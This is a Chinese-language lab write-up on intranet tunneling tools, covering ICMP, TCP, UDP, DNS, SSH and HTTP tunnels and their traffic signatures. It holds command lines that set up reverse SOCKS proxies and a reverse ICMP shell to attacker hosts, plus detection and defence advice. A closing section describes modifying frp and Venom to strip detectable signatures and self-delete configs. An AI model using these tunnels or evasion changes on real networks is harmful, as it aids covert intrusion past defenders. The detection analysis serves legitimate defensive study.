内网代理和穿透工具的分析记录
0x00 前言
记录一下对内网代理和穿透工具的分析过程,着重在流量侧。
0x01 环境
攻击机器:192.168.1.131和192.168.1.133
目标机器:192.168.1.137
目标机器为双网卡,第二层网段为192.168.3.0
0x02 分析
思路:网络层 -> 传输层 -> 应用层
1、ICMP隧道技术
icmpsh
介绍
icmpsh是一个简单的反向ICMP shell工具。与其他类似的开源工具相比,主要优势在于它不需要管理权限即可在目标机器上运行。
客户端只能在Windows机器运行,服务端可以在任何平台上运行。下载
使用
服务端:
1 | git clone https://github.com/inquisb/icmpsh.git |
客户端:
1 | -t 主机ip地址以发送ping请求。这个选项是强制性的! |
pingtunnel
介绍
Pingtunnel 是一种通过 ICMP 发送 TCP/UDP 流量的工具。其是最流行的一款ICMP代理工具,提供对tcp/udp/sock5流量伪装成icmp流量进行转发的功能。需要root或者administrator/system权限。
下载
使用
高权限条件下
构建反向代理
1)服务端
1 | -type server 代表开启ICMP SERVER端,等待客户端进行连接与通信。 |
2)客户端
1 | pingtunnel.exe -type client -l :4455 -s 192.168.1.133 -sock5 1 -noprint 1 -nolog 1 |
3)测试使用
设置 socks5
访问二层网络
2、ICMP隧道流量特征
正常情况下,单位时间内数据包发送的数量为一组。
单组数据包Data字段长度,Windows为32 bytes,Linux下为48 bytes,并且请求包和响应包长度相同。
单组数据包Data字段内容中,Windows为abcdefghijklmnopqrstuvwabcdefghi
,Linux下为!”#$%&’()+,-./01234567
。
数据包Type字段类型为0或者8,表示请求和应答。
在icmpsh中,其交互过程的数据包中请求包和响应包长度明显不相同,并且Data字段内容明显为明文的敏感信息。
建立连接
执行命令过程
在pingtunnel中,明显地,单位时间内数据包的数量过大。
单组数据包Data字段长度非默认长度,并且请求和应答报文的长度也不相同。在单组数据包Data字段内容中,在交互过程存在会话key和明文访问信息。
pingtunnel在访问过程会把会话key和访问信息封装到icmp协议的data字段中。
流量检测关键点:
- 单位时间内数据包的数量
- 单组数据包Data字段长度
- 单组数据包Data字段内容
3、TCP隧道技术
EarthWorm
介绍
EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处。下载
使用
1 | EW共有6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran) |
1)反向socks5代理
客户端
1 | ew.exe -s rssocks -d 192.168.1.131 -e 8888 |
服务端
1 | ew.exe -s rcsocks -l 1080 -e 8888 |
测试结果
2)二级级联
获得目标网络内两台主机A(2.2.2.2)、B(2.2.2.3)的权限。
A主机存在公网 IP,且自由监听任意端口,无法访问特定资源。
B主机是目标网络内部主机,可访问特定资源,但无法访问公网。
A主机可直连B主机。
1 | 主机A |
主机A(2.2.2.2)、B(2.2.2.3),公网VPS(1.1.1.1)。
A主机,无公网 IP,无法访问特定资源,可访问外网。
B主机是内部主机,可访问特定资源,却无法回连公网。
A主机可直连B主机。
1 | 公网主机 |
3)多级级联
主机A(2.2.2.2)、B(2.2.2.3)、C(2.2.2.4),公网VPS(1.1.1.1)。
A主机无公网IP,无法访问特定资源,可访问外网。
B主机无法访问特定资源,无法回连公网。
C主机可访问特定资源,无法回连公网。
A主机可直连B主机,B主机可直连C主机。
1 | VPS |
数据流向为socks5代理-> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
Venom
- 介绍
Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。
Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。
渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。
其功能特性支持:多级socks5代理、多级端口转发、端口复用 (apache/mysql/…)、ssh隧道、节点间通信加密
1)未加密下的反向socks5代理
服务端
1 | admin.exe -lport 9999 |
客户端
1 | agent.exe -rhost 192.168.1.131 -rport 9999 |
2)加密下的反向socks5代理
1 | admin.exe -lport 9999 -passwd dlive@dubhe |
3)多级级联
1 | VPS:120.10.120.X |
Stowaway
- 介绍
Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具。用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能。
其功能特性支持:节点间正向/反向连接、节点间支持重连、节点间可通过socks5代理进行连接、节点间可通过ssh隧道连接、节点间流量可选择TCP/HTTP、多级socks5流量代理转发,支持UDP/TCP,IPV4/IPV6、节点支持ssh访问远程主机、远程shell、上传及下载文件、端口本地/远程映射、节点可端口复用、自由开关各类服务、节点间相互认证、节点间流量以AES-256-GCM进行加密。
1)未加密下反向代理
服务端
1 | stowaway_admin -l 9999 |
客户端
1 | stowaway_agent -c 192.168.1.131:9999 |
2)加密下反向代理
1 | stowaway_admin -l 9999 -s test@123 |
3)多级级联
1 | 在stowaway中,组成多级网络需要借助admin中的listen、connect、 sshtunnel命令来实现 |
Frp
- 介绍
frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
其功能特性支持:支持 TCP、KCP 以及 Websocket 等多种协议;采用 TCP 连接流式复用,在单个连接间承载更多请求,节省连接建立时间;代理组间的负载均衡;端口复用,多个服务通过同一个服务端端口暴露;多个原生支持的客户端插件(静态文件查看,HTTP、SOCK5 代理等)。
1)正常使用
客户端
1 | [common] |
服务端
1 | [common] |
2)多级级联
1 | 1、黑客VPS |
最后通过proxifier将流量带入内网
4、TCP隧道流量特征
EarthWorm
ew在建立连接的过程中,数据包存在额外的数据特征“xx xx 00 00 00 00”
客户端发送“01 01 00 00 00 00”
服务端应答“01 02 00 00 00 00”,建立连接。
Venom
未加密下venom在建立连接过程的过程中会先发起系列”00 00 00 00 00 00“
接着通过携带“ABCDEFGH”,来判断是否为venom协议
同时,通过携带“VCMD”,作为协议的数据分割
执行命令过程也为明文信息
使用venom的加密下,只存在较小的特征,如携带的数据全置零
推测,其在只有在不使用端口复用时候,才存在
Stowaway
加密和未加密情况下,除了部分数据加密外,特征并没有发生变化。
stowaway在建立连接过程的过程中客户端会先发起系列”00 00 00 00 00 00“
随后,客户端继续携带生成的“会话key”,向服务端发起请求
在服务端确认相同的“会话key”后,客户端发起请求管理端的信息
1 | const ADMIN_UUID = "IAMADMINXD" |
服务端回复确认后,建立连接
由于未加密,存在明文信息
在建立连接后,伴随着大量重复ACK确认请求,怀疑是做心跳保持?
Frp
1)未添加tls加密下的frp
客户端
1 | [common] |
服务端
1 | [common] |
客户端携带版本架构等信息向服务端发起请求
服务端回应相关信息
客户端和服务端之间传递会话id和会话key
服务端创建socks5信息
由于进行了加密和压缩,报文的data是加密的
2)添加了tls加密后的frp
客户端
1 | [common] |
服务端
1 | [common] |
添加了tls和加密压缩后的frp在通信过程已经没有了版本信息和会话信息。不过,在建立连接的过程启用tls前,客户端携带“0x17”,请求服务端
利用wireshark详细分析,发现wireshark识别该报文为“Gryphon”协议,“Gryphon”协议为工控协议,用于车用通讯协定
随后,以固定的243字节的TLS-hello报文向服务端发起请求
固定243字节长度的hello报文告诉服务端,frp支持的一系列加密算法套件
服务端选定加密算法,理论上也是90字节大小的TLS-hello报文,向客户端发起应答
随后完成协商过程,建立tls加密通信
5、UDP隧道技术
Udp2raw
- 介绍
该工具可以利用原始套接字并通过伪造的TCP/UDP/ICMP流量来帮助研究人员绕过UDP防火墙(或不稳定的UDP环境)。
其支持心跳保活、自动重连,重连后会恢复上次连接,在底层掉线的情况下可以保持上层不掉线。同时有加密、防重放攻击、信道复用的功能。
- 下载
https://github.com/wangyu-/udp2raw
- 使用
1 | 在server端运行: |
服务端
客户端
6、UDP隧道流量特征
Udp2raw
利用udp2raw技术构建的隧道,目前在流量上未发现明显的特征
7、DNS隧道技术
DnsCat2 && Dnscat2-Powrshell
- 介绍
dnscat2是一款开源软件,使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证。使用Shell及DNS查询类型(TXT、MX、CNAME、A、AAAA),多个同时进行的会话类似于SSH中的隧道。dnscat2的客户端是有Windows版和Linux版,服务端是用Ruby语言编写的。
使用dnscat2隧道的模式有两种,分别是直连模式和中继模式。
直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求
中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。
- 下载
https://github.com/iagox86/dnscat2
https://github.com/lukebaggett/dnscat2-powershell
- 使用
1)直连模式
1 | ruby ./dnscat2.rb -s 553 -c password --no-cache |
2)中继模式
1 | #-e 指定安全级别,open 表示服务端允许客户端不进行加密 |
8、DNS隧道流量特征
直连模式下,dnscat2存在明显的连接特征
中继模式下的dnscat2,除开携带域名信息外,无其他明显流量特征
除了域名信息外,单位时间内dns数据包的发送频率也可以当作特征处理。
9、SSH隧道技术
1 | sudo ssh -N -f -L 192.168.1.133:4444:192.168.1.129:3389 192.168.1.133 |
10、SSH隧道流量特征
在利用ssh进行隧道转发的过程中,除第一个数据包会出现机器的用户名外,在流量过程中无其他明显指纹
11、HTTP隧道技术
tunnel
- 介绍
Tunna 是一组工具,它将通过 HTTP 包装和隧道任何 TCP 通信。它可用于绕过完全防火墙环境中的网络限制。
- 下载
https://github.com/SECFORCE/Tunna
- 使用
1 | -l 表示本地监听的端口 |
1)连接RDP
1 | python proxy.py -u http://192.168.1.137:81/Files/common/conn.aspx -l 1234 -r 3389 –v |
2)连接SSH
1 | python proxy.py -u http://218.4.45.152:8877/job/conn.php -l 1234 -r 22 -v –s |
reGeog&&Neo-reGeorg
- 介绍
reGeorg是reDuh的继承者,其主要是把内网服务器的端口通过http/https构建成隧道的一款工具。
Neo-reGeorg是一个旨在积极重构reGeorg的项目,目的是:提高 tunnel 连接安全性、提高可用性,避免特征检测、提高传输内容保密性、应对更多的网络环境场景。
Neo-reGeorg支持:
1 | 1、传输内容经过变形 base64 加密,伪装成 base64 编码 |
- 下载
https://github.com/sensepost/reGeorg
https://github.com/L-codes/Neo-reGeorg
- 使用
reGeorg
1 | $ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp |
Neo-reGeorg
1 | python3 neoreg.py generate -k password |
ABPTTS
- 介绍
ABPTTS是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进行流量转发的工具。
- 下载
https://github.com/nccgroup/ABPTTS
- 使用
1 | git clone https://github.com/nccgroup/ABPTTS.git |
12、HTTP隧道流量特征
tunnel
页面特征
连接报文特征
**reGeog&Neo-reGeorg
对于reGeog,其默认的页面特征为
从流量报文上看,也具有一定的特征信息
Neo-reGeog的页面信息
Neo-reGeog的流量报文
ABPTTS
abptts页面特征
查看报文特征
0x03 检测与防御
1、检测
以frp作为案例
端口检测、进程检测、网络检测、文件检测、行为检测、流量检测、日志检测
端口检测:默认配置下,frp的服务端端口为7000
进程检测:从进程上看,frp的进程名称非常明显
流量检测:默认配置下,frp的建立连接过程和心跳维持过程都存在较为明显的特征。
添加tls加密后,frp在协商前存在0x17的协议头部特征
2、防御
针对服务器:
收敛出站权限(配置NAT、反向代理、统一内部DNS)
阻断恶意入站(部署企业级WAF)
针对办公机:
收拢协议
规范行为
0x04 改造
1、frp改造
修改结构特征
定位到frp\pkg\msg\msg.go文件,修改结构体中的特征
1 | Login\LoginResp\NewProxy\NewProxyResp\CloseProxy\NewWorkConn\StartWorkConn\NewVisitorConn |
注意每个字段的一致性,特别是PrivilegeKey、Timestamp和RunID
定位到frp\pkg\util\version\version.go文件,修改版本特征
修改版本对比
测试
修改默认加密salt
修改服务端和客户端的默认salt
frp/cmd/frpc/main.go
frp/cmd/frps/main.go
修改Tls协议0x17特征
修改frp的tls协议中固定的0x17特征
frp/pkg/util/net/tls.go
配置文件自删除
在frp/cmd/frpc/sub/root.go中,注册变量,在RegisterCommonFlags函数中注册参数,最后在startService运行检测函数中添加自删除操作
2、Venom改造
venom的特征在于协议的数据分隔符和在端口重用时的鉴别符号,修改global/global.go后,重新编译,即可实现特征隐藏。
改造后的venom,未进行加密情况下的报文信息中无原来的协议特征
0x05 参考
烽火台实验室-《内网代理工具与检测方法研究》
FreeBuf-kczwa1-《内网全局代理工具及特征分析》
天融信安全服务-《安全运营内刊|检测与防护能力-隧道工具的使用与检测》